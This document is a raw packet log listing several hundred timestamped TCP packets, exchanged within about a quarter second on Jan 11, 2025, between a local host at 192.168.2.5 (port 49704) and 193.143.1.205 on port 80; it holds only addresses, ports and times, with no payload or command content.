Jan 11, 2025 09:01:07.520447016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.520456076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.520488024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.520494938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.520534992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.521972895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.554518938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.554548025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.554560900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.554579973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.554593086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.554605007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.554671049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.554672956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.554682970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.554693937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.554696083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.554709911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.554732084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.554759026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.554760933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.558240891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.570581913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.570612907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.570625067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.570646048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.570671082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.570688009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.570699930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.570712090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.570756912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.570789099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.570832014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.570854902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.570868015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.570930958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.571002007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.571013927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.571027040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.571038961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.571060896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.571086884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.571115017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.571126938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.571140051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.571175098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.571199894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.571250916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.571281910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.571294069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.571336031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.571414948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.571428061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.571439028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.571450949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.571469069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.571495056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.571585894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.571595907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.571639061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.574639082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.588700056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.588727951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.588746071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.588757992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.588768959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.588781118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.588788033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.588808060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.588845015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.588875055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.588886023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.588897943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.588926077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.589005947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.589045048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.604568005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.604598045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.604612112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.604641914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.604692936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.604703903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.604717970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.604733944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.604773045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.604789972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.604831934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.604844093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.604881048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.604969025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.604980946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.604994059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.605005026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.605009079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.605048895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.605110884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.605122089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.605153084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.605168104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.605190992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.605259895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.605272055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.605292082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.605304003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.605309963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.605344057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.605381012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.605391979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.605402946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.605432034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.605494022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.605535984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.605560064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.605571032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.605617046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.605694056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.605710983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.605721951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.605756998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.605843067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.605863094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.605884075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.605946064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.605957985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.605969906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.605974913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.606008053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.606129885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.606142044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.606154919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.606165886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.606178045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.606189966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.606200933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.606211901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.606251001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.606570005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.606583118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.606595039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.606620073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.606638908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.606699944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.606712103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.606731892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.606744051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.606745958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.606775999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.606918097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.606936932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.606947899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.606960058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.606982946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.606995106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.607000113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.607042074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.607111931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.607122898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.607132912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.607188940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.609415054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.609436989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.609447002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.609456062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.609492064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.609519958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.609532118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.609584093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.616794109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.645154953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.645183086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.645195007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.645207882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.645277023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.645288944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.645294905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.645348072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.645410061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.645421982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.645432949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.645446062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.645452976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.645478010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.645575047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.645589113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.645600080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.645612001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.645622969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.645648003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.645770073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.645781994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.645796061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.645823002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.645873070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.645900965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.645911932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.645922899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.645944118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.645976067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.646008968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.648920059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.648940086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.661199093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.661226034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.661238909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.661293983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.661329031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.661365032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.661377907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.661385059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.661412954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.661416054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.661427021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.661458015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.661576986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.661588907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.661601067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.661650896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.661712885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.661724091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.661736965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.661747932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.661751986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.661761045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.661803961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.661892891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.661905050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.661955118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.661983013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.661994934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.662004948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.662034035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.677870989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.679637909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.679656029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.679666996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.679688931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.679708958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.679725885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.679737091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.679796934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.679828882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.679840088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.679848909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.679900885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.680000067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.680008888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.680018902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.680028915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.680037975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.680042982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.680047989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.680074930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.689909935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.695640087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.695657969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.695667982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.695694923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.695717096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.695775986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.695847988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.695858002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.695872068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.695883989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.695888996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.695911884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.696048021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.696058989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.696069002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.696080923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.696091890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.696116924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.696190119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.696206093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.696216106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.696222067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.696240902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.696250916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.696254015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.696290970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.696460962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.696471930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.696489096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.696500063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.696506977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.696511030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.696521044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.696532011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.696532965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.696544886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.696551085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.696556091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.696566105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.696578979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.696585894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.696603060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.696963072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.696973085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.696985006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.696996927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.697005033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.697007895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.697017908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.697030067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.697040081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.697046041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.697047949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.697047949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.697052002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.697097063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.697438002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.697448969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.697458982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.697470903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.697474957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.697482109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.697494984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.697499990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.697505951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.697518110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.697529078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.697530031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.697540045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.697546959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.697561979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.697729111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.697741032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.697762966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.697791100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.697803020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.697813034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.697824001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.697830915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.697834015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.697854996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.697870016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.702399969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.735781908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.735802889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.735815048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.735866070 CET	80	49704	193.143.1.205	192.168.2.5
